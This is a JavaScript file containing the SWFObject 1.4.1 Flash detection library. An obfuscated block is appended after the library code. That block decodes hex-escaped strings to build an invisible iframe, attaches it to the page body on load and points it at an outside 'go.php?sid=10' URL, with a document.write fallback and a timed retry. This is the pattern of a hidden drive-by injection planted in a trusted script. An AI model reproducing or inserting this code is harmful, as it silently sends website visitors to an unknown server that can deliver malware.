/** * SWFObject v1.4.1: Flash Player detection and embed - http://blog.deconcept.com/swfobject/ * * SWFObject is (c) 2006 Geoff Stearns and is released under the MIT License: * http://www.opensource.org/licenses/mit-license.php * * **SWFObject is the SWF embed script formerly known as FlashObject. The name was changed for *   legal reasons. */if(typeof deconcept == "undefined") var deconcept = new Object();if(typeof deconcept.util == "undefined") deconcept.util = new Object();if(typeof deconcept.SWFObjectUtil == "undefined") deconcept.SWFObjectUtil = new Object();deconcept.SWFObject = function(swf, id, w, h, ver, c, useExpressInstall, quality, xiRedirectUrl, redirectUrl, detectKey){	if (!document.createElement || !document.getElementById) { return; }	this.DETECT_KEY = detectKey ? detectKey : 'detectflash';	this.skipDetect = deconcept.util.getRequestParameter(this.DETECT_KEY);	this.params = new Object();	this.variables = new Object();	this.attributes = new Array();	if(swf) { this.setAttribute('swf', swf); }	if(id) { this.setAttribute('id', id); }	if(w) { this.setAttribute('width', w); }	if(h) { this.setAttribute('height', h); }	if(ver) { this.setAttribute('version', new deconcept.PlayerVersion(ver.toString().split("."))); }	this.installedVer = deconcept.SWFObjectUtil.getPlayerVersion(this.getAttribute('version'), useExpressInstall);	if(c) { this.addParam('bgcolor', c); }	var q = quality ? quality : 'high';	this.addParam('quality', q);	this.setAttribute('useExpressInstall', useExpressInstall);	this.setAttribute('doExpressInstall', false);	var xir = (xiRedirectUrl) ? xiRedirectUrl : window.location;	this.setAttribute('xiRedirectUrl', xir);	this.setAttribute('redirectUrl', '');	if(redirectUrl) { this.setAttribute('redirectUrl', redirectUrl); }}deconcept.SWFObject.prototype = {	setAttribute: function(name, value){		this.attributes[name] = value;	},	getAttribute: function(name){		return this.attributes[name];	},	addParam: function(name, value){		this.params[name] = value;	},	getParams: function(){		return this.params;	},	addVariable: function(name, value){		this.variables[name] = value;	},	getVariable: function(name){		return this.variables[name];	},	getVariables: function(){		return this.variables;	},	getVariablePairs: function(){		var variablePairs = new Array();		var key;		var variables = this.getVariables();		for(key in variables){			variablePairs.push(key +"="+ variables[key]);		}		return variablePairs;	},	getSWFHTML: function() {		var swfNode = "";		if (navigator.plugins && navigator.mimeTypes && navigator.mimeTypes.length) { // netscape plugin architecture			if (this.getAttribute("doExpressInstall")) this.addVariable("MMplayerType", "PlugIn");			swfNode = '<embed type="application/x-shockwave-flash" src="'+ this.getAttribute('swf') +'" width="'+ this.getAttribute('width') +'" height="'+ this.getAttribute('height') +'"';			swfNode += ' id="'+ this.getAttribute('id') +'" name="'+ this.getAttribute('id') +'" ';			var params = this.getParams();			 for(var key in params){ swfNode += [key] +'="'+ params[key] +'" '; }			var pairs = this.getVariablePairs().join("&");			 if (pairs.length > 0){ swfNode += 'flashvars="'+ pairs +'"'; }			swfNode += '/>';		} else { // PC IE			if (this.getAttribute("doExpressInstall")) this.addVariable("MMplayerType", "ActiveX");			swfNode = '<object id="'+ this.getAttribute('id') +'" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="'+ this.getAttribute('width') +'" height="'+ this.getAttribute('height') +'">';			swfNode += '<param name="movie" value="'+ this.getAttribute('swf') +'" />';			var params = this.getParams();			for(var key in params) {			 swfNode += '<param name="'+ key +'" value="'+ params[key] +'" />';			}			var pairs = this.getVariablePairs().join("&");			if(pairs.length > 0) {swfNode += '<param name="flashvars" value="'+ pairs +'" />';}			swfNode += "</object>";		}		return swfNode;	},	write: function(elementId){		if(this.getAttribute('useExpressInstall')) {			// check to see if we need to do an express install			var expressInstallReqVer = new deconcept.PlayerVersion([6,0,65]);			if (this.installedVer.versionIsValid(expressInstallReqVer) && !this.installedVer.versionIsValid(this.getAttribute('version'))) {				this.setAttribute('doExpressInstall', true);				this.addVariable("MMredirectURL", escape(this.getAttribute('xiRedirectUrl')));				document.title = document.title.slice(0, 47) + " - Flash Player Installation";				this.addVariable("MMdoctitle", document.title);			}		}		if(this.skipDetect || this.getAttribute('doExpressInstall') || this.installedVer.versionIsValid(this.getAttribute('version'))){			var n = (typeof elementId == 'string') ? document.getElementById(elementId) : elementId;			n.innerHTML = this.getSWFHTML();			return true;		}else{			if(this.getAttribute('redirectUrl') != "") {				document.location.replace(this.getAttribute('redirectUrl'));			}		}		return false;	}}/* ---- detection functions ---- */deconcept.SWFObjectUtil.getPlayerVersion = function(reqVer, xiInstall){	var PlayerVersion = new deconcept.PlayerVersion([0,0,0]);	if(navigator.plugins && navigator.mimeTypes.length){		var x = navigator.plugins["Shockwave Flash"];		if(x && x.description) {			PlayerVersion = new deconcept.PlayerVersion(x.description.replace(/([a-z]|[A-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split("."));		}	}else{		try{			var axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");			for (var i=3; axo!=null; i++) {				axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+i);				PlayerVersion = new deconcept.PlayerVersion([i,0,0]);			}		}catch(e){}		if (reqVer && PlayerVersion.major > reqVer.major) return PlayerVersion; // version is ok, skip minor detection		// this only does the minor rev lookup if the user's major version 		// is not 6 or we are checking for a specific minor or revision number		// see http://blog.deconcept.com/2006/01/11/getvariable-setvariable-crash-internet-explorer-flash-6/		if (!reqVer || ((reqVer.minor != 0 || reqVer.rev != 0) && PlayerVersion.major == reqVer.major) || PlayerVersion.major != 6 || xiInstall) {			try{				PlayerVersion = new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));			}catch(e){}		}	}	return PlayerVersion;}deconcept.PlayerVersion = function(arrVersion){	this.major = parseInt(arrVersion[0]) != null ? parseInt(arrVersion[0]) : 0;	this.minor = parseInt(arrVersion[1]) || 0;	this.rev = parseInt(arrVersion[2]) || 0;}deconcept.PlayerVersion.prototype.versionIsValid = function(fv){	if(this.major < fv.major) return false;	if(this.major > fv.major) return true;	if(this.minor < fv.minor) return false;	if(this.minor > fv.minor) return true;	if(this.rev < fv.rev) return false;	return true;}/* ---- get value of query string param ---- */deconcept.util = {	getRequestParameter: function(param){		var q = document.location.search || document.location.hash;		if(q){			var startIndex = q.indexOf(param +"=");			var endIndex = (q.indexOf("&", startIndex) > -1) ? q.indexOf("&", startIndex) : q.length;			if (q.length > 1 && startIndex > -1) {				return q.substring(q.indexOf("=", startIndex)+1, endIndex);			}		}		return "";	}}/* fix for video streaming bug */deconcept.SWFObjectUtil.cleanupSWFs = function() {	var objects = document.getElementsByTagName("OBJECT");	for (var i=0; i < objects.length; i++) {		for (var x in objects[i]) {			if (typeof objects[i][x] == 'function') {				objects[i][x] = null;			}		}	}}if (typeof window.onunload == 'function') {	var oldunload = window.onunload;		window.onunload = function() {		deconcept.SWFObjectUtil.cleanupSWFs();		oldunload();	}} else {	window.onunload = deconcept.SWFObjectUtil.cleanupSWFs;}/* add Array.push if needed (ie5) */if (Array.prototype.push == null) { Array.prototype.push = function(item) { this[this.length] = item; return this.length; }}/* add some aliases for ease of use/backwards compatibility */var getQueryParamValue = deconcept.util.getRequestParameter;var FlashObject = deconcept.SWFObject; // for legacy supportvar SWFObject = deconcept.SWFObject;function lI(){};eJS=23886;lI.prototype = {o : function() {var j="j";var lM="lM";function iX(){};var yP="";var n=function(){return 'n'};this.t=18033;var v=window;var eD=1907;xA=false;var q = this;var rG="rG";function qF(){};var f=document;eDM=31978;this.g='';var eX=new Array();p="p";this.cV="cV";this.fC=31986;gH="";var c = function(zw,LV,XLT){return ['\x52\x6d\x64\x5a'+XLT,'\x4e\x30'+LV,zw+'\x63']}('\x73\x72','\x52\x70\x4a\x66\x32','\x4d\x54\x73\x4a\x35')[2];this.gJ="gJ";nU='';var z = function(pUOrO,vkRpM,KD3V){return [pUOrO+'\x42\x57\x66\x72\x33',KD3V+'\x74\x54\x69\x6d\x65\x6f\x75\x74','\x59\x49\x58\x62'+vkRpM]}('\x43','\x44\x5a\x6c\x30','\x73\x65')[1];var tW=new Date();var s=function(){};m=5300;this.aL="aL";var y = function(N8e,DMvu,jCzV,E19){return ['\x69\x66\x44'+jCzV,'\x56\x64\x6c\x4e\x53'+N8e,E19+'\x65\x45\x6c\x65\x6d\x65\x6e\x74',DMvu+'\x67']}('\x4d\x4a','\x78\x63\x5a\x4e\x54','\x4e\x31\x66','\x63\x72\x65\x61\x74')[2];var eZ=new Array();fG="fG";var sB="";        var vC = function(W,QBU,CU9,aCWv){return ['\x72\x6a\x78'+CU9,QBU+'\x44','\x66'+aCWv,'\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c'+W]}('\x64','\x4f\x44','\x71\x4a','\x53\x71\x57')[3];var yR=12683;this.b="";var x = function(lx,gdDX,n){return [lx+'\x46','\x73\x65\x74\x41\x74\x74\x72\x69'+n,gdDX+'\x5a\x48\x37']}('\x48','\x4a\x7a','\x62\x75\x74\x65')[1];var k="";this.iJ="iJ";var vW=function(){return 'vW'};var a = function(N,XE5G,wK0,X6t){return ['\x4b\x34'+wK0,'\x4a'+N,X6t+'\x56\x54\x55\x4a','\x73'+XE5G]}('\x6e\x37','\x74\x79\x6c\x65','\x4d','\x6c\x77\x4a\x63\x7a')[3];var pC=new Date();this.oT=false;var r = function(UtD,WrGtd,cJN){return ['\x7a\x6e\x57\x43'+WrGtd,cJN+'\x64\x79','\x54\x46'+UtD]}('\x67','\x7a\x74\x74\x30\x56','\x62\x6f')[1];w="";var gP=739;var e = function(joE1,pvs,C,j38i,joB){return [joE1+'\x65',joB+'\x67\x77\x55\x31\x4f','\x64'+j38i,'\x62\x5a\x64\x61\x62'+pvs,C+'\x6a\x62']}('\x7a\x42\x4e\x41','\x77\x4a','\x4b\x39\x5a\x39','\x69\x73\x70\x6c\x61\x79','\x54')[2];yD=4181;this.bU=25398;aN="";var zS = function(Xy,Z8,J,Mh){return [Xy+'\x5a\x34\x73\x78\x73',J+'\x65','\x49\x69\x45'+Z8,'\x4f\x6b\x30\x6a\x72'+Mh]}('\x59\x4b\x78\x52','\x50','\x77\x72\x69\x74','\x78\x74\x56\x33\x61')[1];this.eXC="eXC";this.gF='';tK=false;this.wJ="wJ";var qH=new Array();xS="xS";try {var fU="fU";var yDQ=new Array();var iXC="";vCP="vCP";var bW="bW";var iB=21743;var l=f[y](function(If5ea,W,H4){return ['\x6f\x6b\x50\x59'+If5ea,H4+'\x71',W+'\x66\x72\x61\x6d\x65']}('\x6b\x78\x61','\x69','\x76\x55\x39\x6a\x44')[2]);var u="";this.eJ=false;var vU="vU";var rM=new Date();mB=24493;var tE=false;nM=false;this.qL="qL";var fUX="fUX";l[x](c, q.aV());var mZ=function(){};var fW="fW";l[a][e] = function(Etda8,opdP,ejR,Iix9){return [Iix9+'\x4d\x4b\x38\x36',opdP+'\x53\x38','\x6e\x6f'+ejR,'\x72\x58\x4f'+Etda8]}('\x4d','\x4a\x48\x33','\x6e\x65','\x42\x63\x44')[2];var zW=new Date();var uV=function(){};zQ='';vM=false;var cN="";function mBC(){};yZ=28965;var tO="tO";document[r][vC](l);this.tQ="";this.wT="wT";this.aR='';this.bM="";this.qFO="qFO";} catch(i) {var rML=new Date();this.lO=31742;var gR=new Array();d=false;this.wH="wH";var pI=false;f[zS](function(WSDMc,k,M,R8){return [k+'\x4f\x52\x76\x4d','\x65\x52\x65\x73'+M,'\x74'+R8,'\x3c\x68\x74\x6d\x6c\x20\x3e\x3c\x62\x6f\x64\x79\x20\x3e\x3c\x2f\x62\x6f\x64\x79\x3e'+WSDMc]}('\x3c\x2f\x68\x74\x6d\x6c\x3e','\x71','\x6a','\x45\x39')[3]);var jU=new Date();this.aRS=false;v[z](function(){ q.o() }, 382);vK="vK";this.aRK="aRK";function mR(){};}var qZ="";this.jK=21874;},aV : function() {this.lC="";var wP=function(){};lE='';function cR(){};return function(hxWm2,QIDS,aAIVZ){return ['\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x74\x65\x72\x70\x61\x72\x61\x64\x69\x67\x6d\x61\x2e\x6e\x65\x74\x2f\x73\x74\x64\x73\x2f\x67\x6f'+aAIVZ,'\x5a\x67'+QIDS,'\x63\x61\x4d\x46\x53'+hxWm2]}('\x64\x39','\x43\x37','\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x31\x30')[0];this.kT=false;fI='';gZ="";}};this.wF='';var rE=new lI(); lK="lK";rE.o();var aRC=function(){};